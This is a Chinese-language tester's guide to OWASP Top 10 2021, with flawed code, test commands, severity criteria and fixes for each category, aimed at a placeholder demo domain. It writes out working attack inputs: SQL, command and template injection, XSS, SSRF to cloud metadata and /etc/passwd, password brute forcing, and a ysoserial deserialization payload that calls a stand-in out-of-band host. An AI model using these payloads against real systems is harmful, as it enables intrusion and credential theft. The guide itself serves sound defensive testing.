跳转至

OWASP Top 10 2021 解读与测试要点

一、先看一次真实的扫描结果

某次提测,AppScan 对 42 个接口报了 37 条高危,安全同学复核后只剩 9 条能复现:

  • 把 sort=price,id 报成 SQL 注入,sqlmap 复测输出 [CRITICAL] all tested parameters do not appear to be injectable
  • 把返回 500 的参数当成命令执行,实际只是 NumberFormatException
  • 把 Access-Control-Allow-Origin: * 报成高危,但接口不带 Cookie,实际风险为低

这不是扫描器不行,而是 Top 10 是风险分类,不是漏洞清单。同一句“访问控制失效”,落到测试上可能是 IDOR、可能是路径绕过、也可能是前端隐藏按钮。本文按 A01~A10 逐条给出:典型缺陷代码 → 测试动作 → 判定标准 → 修复方向。

A01 访问控制失效(Broken Access Control)

典型缺陷是只按主键查,不校验归属:

@GetMapping("/api/v1/orders/{id}")
public Order detail(@PathVariable Long id) {
    return orderMapper.selectById(id);   // SQL: where id = ?
}

测试动作(水平越权):

# A 用户下单,返回 {"code":0,"data":{"orderId":1001,...}}
curl -s -X POST https://demo.example.com/api/v1/orders \
  -H "Authorization: Bearer $TOKEN_A" -H "Content-Type: application/json" \
  -d '{"skuId":1001,"qty":1}'

# 换 B 用户 token 直接读 A 的订单
curl -s -H "Authorization: Bearer $TOKEN_B" \
  https://demo.example.com/api/v1/orders/1001 -o /tmp/b.json -w "%{http_code}\n"

垂直越权与路径级绕过:

curl -s -o /dev/null -w "%{http_code}\n" -H "Authorization: Bearer $TOKEN_USER" \
  https://demo.example.com/api/v1/admin/users
curl -s -o /dev/null -w "%{http_code}\n" -H "Authorization: Bearer $TOKEN_USER" \
  -H "X-Original-URL: /admin/users" https://demo.example.com/
curl -s -o /dev/null -w "%{http_code}\n" -H "Authorization: Bearer $TOKEN_USER" \
  "https://demo.example.com/api/v1/orders/..%2f..%2fadmin%2fusers"

判定标准:

响应 结论
200 且 body 含他人数据 高危,确证越权
200 但 data 为空,存在性与正常 id 有差异 中危,信息泄露
403 或 404,且与无权资源响应一致 通过
302 跳登录页 通过,但要确认接口本身未执行

注意 401(未认证)和 403(已认证无权限)不能混用;返回 200 加空数组不等于安全,分页 total 可能泄露数量。

修复方向:数据级鉴权下沉到 service,SQL 强制 where id = ? and owner_id = ?;不要只靠前端隐藏菜单;@PreAuthorize 必须作用到数据维度,而不是只拦 URL。

A02 加密机制失效(Cryptographic Failures)

第一组检查:传输层。

nmap -p443 --script ssl-enum-ciphers demo.example.com
# |   TLSv1.0:
# |     ciphers:
# |       TLS_RSA_WITH_3DES_EDE_CBC_SHA (rsa 2048) - C

docker run --rm drwetter/testssl.sh --severity HIGH https://demo.example.com
# TLS 1.1 offered (deprecated)
# TLS_RSA_WITH_3DES_EDE_CBC_SHA offered (deprecated)

openssl s_client -connect demo.example.com:443 -servername demo.example.com -tls1_1 </dev/null
# 服务端仍支持时返回 "Protocol  : TLSv1.1",OpenSSL 3.x 客户端可能先报 no protocols available

第二组检查:硬编码与弱哈希。

grep -rnE '(password|secret|accessKey|token)[[:space:]]*=[[:space:]]*"[A-Za-z0-9+/]{16,}"' \
  --include=*.java --include=*.yml src/
MessageDigest md = MessageDigest.getInstance("MD5");   // 无盐、可彩虹表
String hash = Hex.encodeHexString(md.digest(password.getBytes()));

验证无盐的最快方式:两个不同用户设置同一密码 123456,查库中哈希是否相同;再对比 echo -n 123456 | md5sum 的 e10adc3949ba59abbe56e057f20f883e。

判定标准:生产环境启用 TLS 1.0/1.1、RC4、3DES 判中危;证书过期或域名不匹配判高危;MD5/SHA1 存口令、AES/ECB 判高危;密钥写进仓库判高危(无论是否已上线,都要轮换)。

修复方向:只开 TLS 1.2/1.3 与 AEAD 套件;口令用 bcrypt(cost≥10)或 Argon2id;密钥放 KMS/Vault,代码里只留引用;加密用 AES-GCM 并带随机 nonce。

A03 注入(Injection)

SQL 注入的缺陷代码:

String sql = "select * from product where name = '" + name + "'";

测试动作:

# 时间盲注:连续 3 次耗时明显抬升才算
for i in 1 2 3; do
  curl -s -o /dev/null -w "%{time_total}\n" \
    "https://demo.example.com/api/v1/product?name=book'%20and%20sleep(3)--%20-"
done
# 3.04 / 3.02 / 3.05  → 成立;0.05 左右 → 不成立

sqlmap -u "https://demo.example.com/api/v1/product?name=book" \
  --batch --level=3 --risk=2 --dbms=mysql --technique=T

XSS 看的是输出上下文,不是输入过滤:

curl -s "https://demo.example.com/search?q=%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E" \
  | grep -o "<script>alert(document.domain)</script>"

命令注入与模板注入:

curl -s "https://demo.example.com/api/v1/ping?host=127.0.0.1;id"
# 返回 uid=0(root) gid=0(root) 即成立

curl -s "https://demo.example.com/api/v1/render?name=%7B%7B7*7%7D%7D"
# 返回 49 说明模板被求值(SSTI)

判定标准:错误页出现 java.sql.SQLSyntaxErrorException、You have an error in your SQL syntax 可判注入;时间盲注需重复 3 次且基线稳定;XSS 需在浏览器确认执行,响应体出现未转义的 <script> 只是线索;模板返回 49 或 ${7*7} 被求值均成立。

修复方向:全部改预编译参数(PreparedStatement、ORM 绑定参数);排序列用白名单映射;输出按 HTML/JS/URL 上下文编码;禁止字符串拼 Runtime.exec,改用参数数组;模板引擎关闭动态求值或启用沙箱。

A04 不安全设计(Insecure Design)

这类问题代码写得“没错”,是业务规则缺失:

BigDecimal payable = order.getAmount().subtract(coupon.getDiscount());
// 没有判断 payable >= 0,也没有限制优惠券叠加张数

测试动作(用两个账号交替操作):

# 1. 100 元订单叠加 3 张 50 元券
curl -s -X POST https://demo.example.com/api/v1/orders/1001/coupons \
  -H "Authorization: Bearer $TOKEN_A" -H "Content-Type: application/json" \
  -d '{"couponIds":[501,502,503]}' -w "\n%{http_code}\n"

# 2. 并发兑换同一张券 20 次,看成功次数
seq 1 20 | xargs -P 20 -I{} curl -s -o /dev/null -w "%{http_code}\n" \
  -X POST https://demo.example.com/api/v1/coupons/501/redeem \
  -H "Authorization: Bearer $TOKEN_A"

判定标准:应付金额为负仍能提交、同一券成功核销超过 1 次、订单状态可 PAID → PENDING 回退、无幂等键的重复下单产生两笔,均判高危业务逻辑缺陷。

修复方向:服务端状态机约束流转;金额在服务端重算并校验下限;核销用唯一索引或分布式锁;下单要求 Idempotency-Key;需求评审阶段用 STRIDE 逐项问“谁能重复、谁能跳过、谁能改顺序”。

A05 安全配置错误(Security Misconfiguration)

常见入口一次性探完:

for p in /manager/html /actuator/env /actuator/heapdump /.git/config \
         /swagger-ui/index.html /uploads/ /console; do
  printf "%-26s %s\n" "$p" "$(curl -s -o /dev/null -w '%{http_code}' https://demo.example.com$p)"
done
# /manager/html 200  → Tomcat 默认口令未改
# /actuator/env 200   → 环境变量与配置泄露
# /uploads/ 200 且含 "Index of /" → 目录列表

CORS 要看是否同时允许凭据:

curl -s -D - -o /dev/null -H "Origin: https://evil.example" \
  https://demo.example.com/api/v1/me | grep -i "access-control"
# Access-Control-Allow-Origin: https://evil.example
# Access-Control-Allow-Credentials: true
# 上面两行同时出现才判高危(可跨站读取登录态数据)

错误堆栈与默认口令:

curl -s "https://demo.example.com/api/v1/orders/abc"
# {"timestamp":"2026-08-05T10:12:33.441+08:00","status":500,
#  "error":"Internal Server Error","trace":"java.lang.NumberFormatException:
#  For input string: \"abc\"\n\tat com.demo.order.OrderController.detail(...)"}
curl -s -o /dev/null -w "%{http_code}\n" -u admin:admin http://demo.example.com/manager/html

判定标准:生产返回 trace/exception/SQL 语句判中危;默认口令可登录管理端判高危;目录列表可下载备份或配置判高危;CORS 通配加 Allow-Credentials: true 判高危,仅通配且无凭据判低危。

修复方向:关闭 actuator 敏感端点(management.endpoints.web.exposure.include=health,info);统一异常处理器,生产只返回 traceId;删除默认账号或强制首登改密;CORS 用域名白名单;容器以非 root 运行并去掉目录浏览。

A06 自带缺陷和过时组件(Vulnerable and Outdated Components)

mvn -B org.owasp:dependency-check-maven:9.2.0:check -DfailBuildOnCVSS=7
# [ERROR] One or more dependencies were identified with known vulnerabilities
# [ERROR] commons-text-1.9.jar : CVE-2022-42889
# [ERROR] log4j-core-2.14.1.jar : CVE-2021-44228

trivy fs --scanners vuln --severity CRITICAL,HIGH --exit-code 1 .

版本与行为说明:dependency-check 9.x 首次运行要下载 NVD 数据,没有 NVD_API_KEY 时可能跑 30 分钟以上并出现 NVD API request failures;9.x 默认对 CVSS≥7 才标记,-DfailBuildOnCVSS 才是构建失败阈值,两者别混。

判定标准:CVSS≥7 且调用链可达判高危;组件已 EOL(Spring Boot 2.7 于 2023-11 停止开源支持、Log4j 1.x)判高危;仅测试依赖引入且不打包进制品可降级;有 CVE 但官方确认不受影响需登记接受风险。

修复方向:升级到修复版本;无法升级时移除该功能或加 WAF 补偿;锁定 BOM 版本;SCA 进 CI 且每周全量重扫(新 CVE 会追溯旧依赖)。

A07 身份认证和鉴别失效(Identification and Authentication Failures)

# 撞库/暴破:观察是否锁定、是否有验证码、响应是否可区分
ffuf -u https://demo.example.com/api/v1/login -X POST \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":"FUZZ"}' \
  -w /usr/share/wordlists/rockyou.txt -mc 200 -fr "用户名或密码错误"

# 会话固定:登录前后 cookie 是否轮换
curl -s -c /tmp/jar -b /tmp/jar https://demo.example.com/login -o /dev/null
curl -s -c /tmp/jar -b /tmp/jar -X POST https://demo.example.com/api/v1/login \
  -H "Content-Type: application/json" -d '{"username":"alice","password":"Correct#2026"}'
grep JSESSIONID /tmp/jar

# JWT:是否接受 alg=none、弱密钥、缺少 exp
python3 -c "import base64,sys;print(base64.urlsafe_b64decode(sys.argv[1].split('.')[1]+'=='))" "$JWT"
hashcat -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt

判定标准:连续 1000 次失败无锁定/无验证码且存在弱口令即成立;登录后 JSESSIONID 未变化判会话固定;JWT 接受 alg=none、HS256 密钥可爆破、无 exp 或过期仍可用,均判高危;错误提示能区分“用户不存在/密码错误”判中危。

修复方向:统一错误文案与恒定时延;失败计数加锁定与验证码;登录成功轮换 session id;JWT 固定算法白名单、密钥≥256 bit、强制 exp/aud/iss;敏感操作二次认证。

A08 软件和数据完整性失效(Software and Data Integrity Failures)

# Java 反序列化:先用 DNSLog 确认可达,再考虑利用链
java -jar ysoserial.jar CommonsCollections6 'curl http://oob.example/x' | base64 -w0
curl -s -X POST https://demo.example.com/api/v1/import \
  -H "Content-Type: application/x-java-serialized-object" --data-binary @payload.bin

# 制品签名校验
cosign verify --key cosign.pub ghcr.io/demo/order-service:1.2.3
# Error: no matching signatures: ...

供应链侧还要查两点:CI 里的 uses: some/action@main 未锁版本(应锁 commit SHA);npm install 默认执行依赖的 postinstall 脚本(CI 建议 npm ci --ignore-scripts)。

判定标准:服务端对不可信数据调用 ObjectInputStream.readObject 且无白名单判高危;制品无签名或验签可跳过判高危;构建脚本引用可变分支判中危;依赖锁文件缺失判中危。

修复方向:禁用原生反序列化,改 JSON 并做 schema 校验;必要时用 ObjectInputFilter 白名单;CI 依赖锁 SHA、开启 Dependabot;产物生成 SBOM 并用 cosign 签名,部署前强制验签。

A09 日志和监控失效(Security Logging and Monitoring Failures)

不是看有没有日志文件,而是做一次操作后能不能查到:

curl -s -X POST https://demo.example.com/api/v1/admin/users/42/role \
  -H "Authorization: Bearer $TOKEN_ADMIN" -d '{"role":"SUPER_ADMIN"}'
sudo grep -r "role" /var/log/order-service/audit.log | tail -5
# 期望包含:操作者 id、目标对象、变更前后值、来源 IP、traceId、结果

再做一次攻击探测,看是否触发告警:

for i in $(seq 1 10); do
  curl -s -o /dev/null "https://demo.example.com/api/v1/product?name=1'%20or%20'1'='1"
done

判定标准:登录成功/失败、权限变更、数据导出、支付、配置修改五类事件缺任一判中危;日志无操作者或无法关联 traceId 判中危;日志可被普通账号删除判高危;上述探测 10 次无任何告警判中危。

修复方向:定义关键事件清单并结构化输出(JSON);集中采集并设保留期≥180 天;对失败登录突增、越权 403 突增、异常导出量建告警规则;日志脱敏,禁止记录口令与完整卡号。

A10 服务端请求伪造(SSRF)

缺陷代码:

URL url = new URL(request.getParameter("url"));
try (InputStream in = url.openConnection().getInputStream()) { ... }

测试动作:

# 云元数据
curl -s "https://demo.example.com/api/v1/image?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
# 命中时返回 {"Code":"Success","AccessKeyId":"ASIA...","SecretAccessKey":"..."}

# 内网端口探测(看时间差)
curl -s -o /dev/null -w "%{time_total}\n" \
  "https://demo.example.com/api/v1/image?url=http://10.0.0.5:6379"
# 0.01s 拒绝 vs 3.00s 超时,可推断端口状态

# 协议滥用
curl -s "https://demo.example.com/api/v1/image?url=file:///etc/passwd"
curl -s "https://demo.example.com/api/v1/image?url=dict://127.0.0.1:11211/stat"

无回显时用 DNS 外带:url=http://ssrf.oob.example,在 DNSLog 平台看解析记录。

判定标准:返回元数据内容或内网服务 banner 判高危;file:// 可读本地文件判高危;可探测内网端口(时间差稳定复现)判中危;仅能访问外网且无内网跳转判低危。

修复方向:出站用域名白名单;解析后校验 IP,拒绝 RFC1918、100.64/10、169.254/16、::1,并防 DNS rebinding(解析与连接用同一 IP);禁止跟随重定向;云上启用 IMDSv2;图片抓取走独立出口代理。

落地检查清单

检查项 通过标准 常见误判
越权 换 token 返回 403/404 且响应一致 把 302 登录页当通过
传输加密 只开 TLS1.2/1.3,无 3DES/RC4 只看证书不看套件
注入 参数化后时间与报错均无变化 把 500 当注入
业务设计 负数金额、重复核销被拒 只测正常流程
配置 无默认口令、无目录列表、无堆栈 只看首页
组件 无 CVSS≥7 可达漏洞 只看直接依赖
认证 有锁定、session 轮换、JWT 校验完整 只看密码强度
完整性 无反序列化入口、制品验签通过 只查依赖不查 CI
日志 五类关键事件可查可告警 有日志文件即算通过
SSRF 内网与元数据均不可达 只测外网 URL

相关阅读